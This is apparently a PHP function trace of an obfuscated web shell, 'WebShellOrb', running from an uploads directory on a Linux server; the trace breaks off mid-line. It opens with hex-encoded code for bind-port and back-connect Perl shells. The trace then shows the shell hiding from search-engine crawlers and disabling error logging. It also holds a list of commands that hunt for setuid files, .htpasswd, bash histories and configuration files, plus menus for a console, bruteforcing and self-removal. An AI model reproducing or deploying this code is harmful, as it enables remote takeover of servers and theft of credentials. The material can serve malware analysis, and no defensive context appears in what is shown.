x4bENPT\\x6b\\x34s\\x55yk\\x37\\x44\\x51\\x6f\\x4a\\x61WY\\x6fI\\x53\\x67\\x6b\\x63Gl\\x6b\\x50W\\x5avcm\\x73p\\x4bS\\x42\\x37\\x44Q\\x6f\\x4a\\x43\\x57RpZ\\x53\\x41iQ2F\\x75bm9\\x30IG\\x5avcm\\x73\\x69IGl\\x6d\\x49Cg\\x68\\x5a\\x47V\\x6d\\x61W5l\\x5a\\x43A\\x6bcGl\\x6b\\x4bT\\x73NCg\\x6b\\x4ab\\x33Bl\\x62i\\x42TV\\x45\\x52JTi\\x77\\x69\\x50\\x43Z\\x44\\x54\\x305\\x4f\\x49j\\x73N\\x43\\x67k\\x4a\\x623\\x42\\x6c\\x62\\x69\\x42\\x54\\x56\\x45RP\\x56VQs\\x49j\\x34mQ\\x309OTiI\\x37DQ\\x6fJ\\x43\\x579wZ\\x57\\x34\\x67U\\x31\\x52\\x45\\x52\\x56J\\x53L\\x43I+\\x4a\\x6b\\x4e\\x50\\x54\\x6b4\\x69\\x4f\\x770KC\\x51l\\x6c\\x65G\\x56\\x6aICR\\x54S\\x45VM\\x54\\x43B8\\x66\\x43\\x42\\x6b\\x61W\\x55\\x67\\x63HJ\\x70b\\x6eQg\\x51\\x309O\\x54\\x69\\x41\\x69\\x51\\x32Fu\\x64\\x43\\x42l\\x65GV\\x6adXRl\\x49\\x43\\x52TSEV\\x4d\\x54Fx\\x75I\\x6asN\\x43\\x67\\x6bJ\\x59\\x32\\x78\\x76\\x63\\x32UgQ\\x309OTjs\\x4eCg\\x6b\\x4a\\x5a\\x58\\x68\\x70d\\x43AwO\\x770KCX0\\x4e\\x43\\x6e\\x30\\x3d";echo"\\n\\t\\n\\t<\\x73pa\\x6e>B\\x69\\x6e\\x64 \\x70\\x6f\\x72\\x74 to\\x20/\\x62\\x69\\x6e/s\\x68 [pe\\x72l]\\n\\t\\x50o\\x72t: \\x3c\\x69\\x6epu\\x74 ty\\x70\\x65=\\x27t\\x65\\x78\\x74\' nam\\x65\\x3d\\x27\\x70\\x6frt\'\\x20\\x76\\x61\\x6cu\\x65\\x3d\'3\\x31\\x333\\x37\\x27> \\x3ci\\x6e\\x70ut t\\x79\\x70\\x65\\x3d\\x73ubm\\x69t\\x20val\\x75\\x65=\\x27\\x3e>\\x27>\\n\\t\\x3c/form>\\n\\t\\x3cf\\x6frm \\x6ea\\x6de\\x3d\'n\\x66\\x70\'\\x20\\x6fn\\x53ubm\\x69t\\x3d\\"g(n\\x75\\x6c\\x6c,\\x6eu\\x6c\\x6c,\\x27\\x62\\x63\\x70\\x27,th\\x69\\x73\\x2e\\x73\\x65\\x72v\\x65\\x72\\x2e\\x76\\x61\\x6c\\x75e,t\\x68i\\x73.\\x70\\x6f\\x72\\x74.v\\x61\\x6cu\\x65);\\x72\\x65tur\\x6e\\x20f\\x61\\x6c\\x73e;\\">\\n\\t\\x3c\\x73\\x70\\x61n\\x3e\\x42ac\\x6b-c\\x6f\\x6en\\x65c\\x74 [\\x70e\\x72\\x6c]\\x3c\\x62r/>\\n\\tSe\\x72\\x76er: \\x3cinp\\x75t\\x20ty\\x70\\x65=\'text\' \\x6e\\x61\\x6d\\x65=\'\\x73\\x65rv\\x65\\x72\' \\x76al\\x75e=\'".$_SERVER["RE\\x4d\\x4fT\\x45\\x5f\\x41\\x44\\x44R"]."\\x27> \\x50\\x6frt:\\x20<\\x69\\x6ep\\x75\\x74\\x20\\x74y\\x70e=\\x27te\\x78t\'\\x20name=\\x27\\x70\\x6f\\x72t\'\\x20\\x76\\x61l\\x75\\x65=\\x27\\x33\\x31\\x333\\x37\\x27\\x3e\\x20<\\x69\\x6epu\\x74\\x20typ\\x65\\x3d\\x73u\\x62\\x6d\\x69t\\x20\\x76al\\x75\\x65=\'\\x3e\\x3e\\x27>\\n\\t";if(isset($_POST["p1"])){function cf($f,$t){$xcwsiljfsd="\\x66";$lwuzjrm="w";${$lwuzjrm}=@fopen(${$xcwsiljfsd},"w")or@function_exists("\\x66\\x69l\\x65_put_\\x63on\\x74e\\x6et\\x73");if(${${"\\x47\\x4c\\x4fBALS"}["\\x65\\x65\\x6cp\\x63\\x66\\x73\\x75\\x79\\x6d"]}){${"GL\\x4f\\x42A\\x4cS"}["h\\x6fom\\x71\\x76\\x68"]="w";@fwrite(${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["h\\x6f\\x6f\\x6d\\x71v\\x68"]},@base64_decode(${${"GL\\x4fBALS"}["\\x72\\x6e\\x70h\\x62\\x77\\x67qya\\x64"]}));@fclose(${${"\\x47\\x4cO\\x42AL\\x53"}["\\x65el\\x70\\x63\\x66\\x73\\x75\\x79\\x6d"]});}}if($_POST["\\x701"]=="bpp"){cf("/t\\x6d\\x70/\\x62\\x70\\x2epl",${${"G\\x4c\\x4fB\\x41L\\x53"}["j\\x62\\x7ae\\x6f\\x61b"]});${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x76\\x72\\x6ckxl\\x6e\\x6a\\x78"]="\\x6f\\x75t";${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["v\\x72\\x6ck\\x78ln\\x6a\\x78"]}=WebShellOrbEx("p\\x65\\x72l /t\\x6dp/bp.pl ".$_POST["\\x702"]."\\x20\\x31\\x3e/dev/\\x6e\\x75\\x6cl \\x32\\x3e&1\\x20\\x26");sleep(1);echo"\\x3c\\x70r\\x65 cla\\x73\\x73\\x3dm\\x6c\\x31\\x3e$out\\n".WebShellOrbEx("\\x70\\x73\\x20a\\x75x | g\\x72ep b\\x70\\x2epl")."/de\\x76/\\x6e\\x75ll\\x20\\x32>&\\x31 &");sleep(1);echo"";unlink("/\\x74\\x6d\\x70/bc\\x2e\\x70\\x6c");}}echo" 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 3 27 0 0.021979 1479072 implode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler'] 3 27 1 0.022000 1479216 3 27 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler' 3 28 0 0.022020 1479152 preg_match 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i' 'python-requests/2.25.1' 3 28 1 0.022082 1479216 3 28 R 0 3 29 0 0.022098 1479072 ini_set 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'error_log' NULL 3 29 1 0.022116 1479144 3 29 R '' 3 30 0 0.022129 1479072 ini_set 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'log_errors' 0 3 30 1 0.022144 1479144 3 30 R '1' 3 31 0 0.022158 1479072 ini_set 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'max_execution_time' 0 3 31 1 0.022174 1479176 3 31 R '30' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jkanbtmrlf = 'auth_pass' 3 32 0 0.022200 1479072 set_time_limit 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 3 32 1 0.022215 1479136 3 32 R FALSE 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iqvdvclroyby = 'aliases' 3 33 0 0.022241 1479104 define 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'WebShellOrb_VERSION' '2.6' 3 33 1 0.022257 1479208 3 33 R TRUE 3 34 0 0.022270 1479136 get_magic_quotes_gpc 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 3 34 1 0.022283 1479136 3 34 R FALSE 3 35 0 0.022298 1479136 substr 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 3 'Linux' 0 3 3 35 1 0.022313 1479264 3 35 R 'Lin' 3 36 0 0.022326 1479168 strtolower 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'Lin' 3 36 1 0.022340 1479232 3 36 R 'lin' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $osos = 'nix' 3 37 0 0.022369 1479136 ini_get 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'safe_mode' 3 37 1 0.022385 1479168 3 37 R FALSE 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $safe_modesafe_mode = FALSE 3 38 0 0.022412 1479136 error_reporting 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 0 3 38 1 0.022426 1479176 3 38 R 0 3 39 0 0.022439 1479136 ini_get 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'disable_functions' 3 39 1 0.022453 1479616 3 39 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $disable_functionsdisable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' 3 40 0 0.022507 1479584 getcwd 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 3 40 1 0.022523 1479632 3 40 R '/var/www/html/uploads' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $home_cwdhome_cwd = '/var/www/html/uploads' 3 41 0 0.022551 1479632 getcwd 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 3 41 1 0.022565 1479680 3 41 R '/var/www/html/uploads' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cwdcwd = '/var/www/html/uploads' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['wmcgcguq'] = 'os' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '/' 3 42 0 0.022618 1479680 md5 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'localhost' 3 42 1 0.022633 1479776 3 42 R '421aa90e079fa326b6494f812ad13e79' 3 43 0 0.022649 1479680 md5 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'localhost' 3 43 1 0.022663 1479776 3 43 R '421aa90e079fa326b6494f812ad13e79' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 _COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $aliases$iqvdvclroybyaliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid' => 'find / -type f -perm -04000 -ls', 'find suid in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php' => 'find / -type f -name config.inc.php', 'find config*' => 'find / -type f -name "config*"', 'find config* in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf' => 'locate httpd.conf', 'locate vhosts.conf' => 'locate vhosts.conf', 'locate proftpd.conf' => 'locate proftpd.conf', 'locate psybnc.conf' => 'locate psybnc.conf', 'locate my.conf' => 'locate my.conf', 'locate admin.php' => 'locate admin.php', 'locate cfg.php' => 'locate cfg.php', 'locate conf.php' => 'locate conf.php', 'locate config.dat' => 'locate config.dat', 'locate config.php' => 'locate config.php', 'locate config.inc' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php' => 'locate config.default.php', 'locate config*' => 'locate config', 'locate .conf' => 'locate \'.conf\'', 'locate .pwd' => 'locate \'.pwd\'', 'locate .sql' => 'locate \'.sql\'', 'locate .htpasswd' => 'locate \'.htpasswd\'', 'locate .bash_history' => 'locate \'.bash_history\'', 'locate .mysql_history' => 'locate \'.mysql_history\'', 'locate .fetchmailrc' => 'locate \'.fetchmailrc\'', 'locate backup' => 'locate backup', 'locate dump' => 'locate dump', 'locate priv' => 'locate priv'] 3 44 0 0.022763 1480120 function_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'posix_getpwuid' 3 44 1 0.022778 1480160 3 44 R TRUE 3 45 0 0.022792 1480120 function_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'posix_getgrgid' 3 45 1 0.022806 1480160 3 45 R TRUE 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lzspptfkyf = 'default_action' 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jwpwgpdoyx = 'default_action' 3 46 0 0.022845 1480160 function_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'actionFilesMan' 3 46 1 0.022860 1480200 3 46 R TRUE 2 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 _POST['a'] = 'FilesMan' 3 47 0 0.022887 1480536 function_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'actionFilesMan' 3 47 1 0.022900 1480576 3 47 R TRUE 3 48 0 0.022916 1480496 actionFilesMan 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['zipfvc'] = 'i' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['uybulpgdyfek'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nqwroep = 'sort' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qvpbfls'] = 'dirContent' 3 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kmcbnuop = 'sort' 4 49 0 0.022992 1484592 WebShellOrbHeader 1 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['lfcdhxiqrjuc'] = 'freeSpace' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cvyfemar = 'i' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gigkkylcom = 'v' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rtzgviw'] = 'item' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $jeuwvfj = 'path' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $syynptc = 'uid' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $unibgzq = 'release' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['qhgnljws'] = 'totalSpace' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 _POST['charset'] = 'Windows-1251' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['paallywki'] = 'explink' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $unjshhsygx = 'item' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['rrsayeov'] = 'k' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['tlmqysbj'] = 'user' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mzcbhnv = 'n' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ylknujmswar = 'charsets' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fnmpbhsrxkxs = 'release' 5 50 0 0.023190 1485896 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 50 1 0.023207 1486088 5 50 R '/var/www/html/uploads/' 5 51 0 0.023223 1485896 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'FilesMan' 5 51 1 0.023237 1486088 5 51 R 'FilesMan' 5 52 0 0.023252 1485896 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'Windows-1251' 5 52 1 0.023266 1486088 5 52 R 'Windows-1251' 5 53 0 0.023282 1485896 strpos 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 NULL '\n' 5 53 1 0.023297 1485968 5 53 R FALSE 5 54 0 0.023312 1485896 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 NULL 3 5 54 1 0.023326 1486128 5 54 R '' 5 55 0 0.023340 1485896 strpos 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 NULL '\n' 5 55 1 0.023355 1485968 5 55 R FALSE 5 56 0 0.023369 1485896 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 NULL 3 5 56 1 0.023383 1486128 5 56 R '' 5 57 0 0.023396 1486152 strpos 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 NULL '\n' 5 57 1 0.023410 1486224 5 57 R FALSE 5 58 0 0.023424 1486152 htmlspecialchars 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 NULL 3 5 58 1 0.023437 1486384 5 58 R '' 5 59 0 0.023451 1487176 addslashes 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/uploads/ob.php' 5 59 1 0.023465 1487208 5 59 R '/uploads/ob.php' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $xfernkifiv = 'kernel' 5 60 0 0.023494 1484616 diskfreespace 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 60 1 0.023515 1484648 5 60 R 195455639552 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $freeSpacefreeSpace = 195455639552 5 61 0 0.023544 1485952 disk_total_space 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 '/var/www/html/uploads/' 5 61 1 0.023560 1485984 5 61 R 232015802368 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $totalSpacetotalSpace = 232015802368 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $totalSpacetotalSpace = 232015802368 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $wjslkgig = 'charsets' 5 62 0 0.023610 1485952 php_uname 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'r' 5 62 1 0.023625 1486032 5 62 R '5.15.0-60-generic' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $release$fnmpbhsrxkxsrelease = '5.15.0-60-generic' 5 63 0 0.023654 1486000 php_uname 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 's' 5 63 1 0.023667 1486064 5 63 R 'Linux' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kernel$xfernkifivkernel = 'Linux' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['devrcywexce'] = 'i' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $explinkexplink = 'https://www.exploit-db.com/search?q=' 5 64 0 0.023720 1486032 strpos 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 'Linux' 'Linux' 5 64 1 0.023734 1486104 5 64 R 0 5 65 0 0.023748 1486032 substr 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 3 '5.15.0-60-generic' 0 6 5 65 1 0.023762 1486160 5 65 R '5.15.0' 5 66 0 0.023776 1486080 urlencode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'Linux Kernel 5.15.0' 5 66 1 0.023795 1486160 5 66 R 'Linux+Kernel+5.15.0' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'Linux+Kernel+5.15.0' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $yuriqttm = 'path' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $dapwvlq = 'n' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['cdovfzfgp'] = 'menu' 5 67 0 0.023856 1486112 function_exists 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'posix_getegid' 5 67 1 0.023870 1486152 5 67 R TRUE 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $hnryuak = 'gid' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $lzwmbumx = 'uid' 5 68 0 0.023905 1486112 posix_geteuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 5 68 1 0.023919 1486112 5 68 R 33 5 69 0 0.023932 1486112 posix_getpwuid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 33 5 69 1 0.023972 1486944 5 69 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uid$lzwmbumxuid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin'] 5 70 0 0.024017 1486912 posix_getegid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 0 5 70 1 0.024031 1486912 5 70 R 33 5 71 0 0.024043 1486912 posix_getgrgid 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 33 5 71 1 0.024071 1487576 5 71 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gid$hnryuakgid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['tufvwq'] = 'gid' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['mejxibh'] = 'gid' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $useruser = 'www-data' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $uiduid = 33 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $groupgroup = 'www-data' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $gidgid = 33 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ykiemhno'] = 'm' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $cwd_linkscwd_links = '' 5 72 0 0.024206 1486192 explode 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 '/' '/var/www/html/uploads/' 5 72 1 0.024221 1486800 5 72 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => ''] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $path$yuriqttmpath = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => ''] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $yxdvqicqjzi = 'm' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['ietcukn'] = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $n$dapwvlqn = 6 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $ii = 0 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['urffjmdujbs'] = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nubocyjtuqn = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['guamecwi'] = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iyjeuqvfrl = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '/' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['urffjmdujbs'] = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nubocyjtuqn = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['guamecwi'] = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iyjeuqvfrl = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'var/' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['urffjmdujbs'] = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nubocyjtuqn = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['guamecwi'] = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iyjeuqvfrl = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'www/' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['urffjmdujbs'] = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nubocyjtuqn = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['guamecwi'] = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iyjeuqvfrl = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'html/' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['urffjmdujbs'] = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $nubocyjtuqn = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 GLOBALS['guamecwi'] = 'j' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $iyjeuqvfrl = 'cwd_links' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= 'uploads/' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null)++ 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $charsets$ylknujmswarcharsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866'] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $opt_charsetsopt_charsets = '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $amhhbx = 'freeSpace' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $itemitem = 'UTF-8' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $itemitem = 'Windows-1251' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $itemitem = 'KOI8-R' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $itemitem = 'KOI8-U' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $itemitem = 'cp866' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $mm = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network'] 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $fqtoyg = 'drives' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $yxdvqicqjzim['Self remove'] = 'SelfRemove' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $menumenu = '' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'SecInfo' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Sec. Info' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Sec. Info ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'FilesMan' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Files' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Files ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'Console' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 'Console' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 (null) .= '[ Console ]' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $vv = 'Sql' 4 A /var/www/html/uploads/ob.php(1) : eval()'d code 1 $kk = 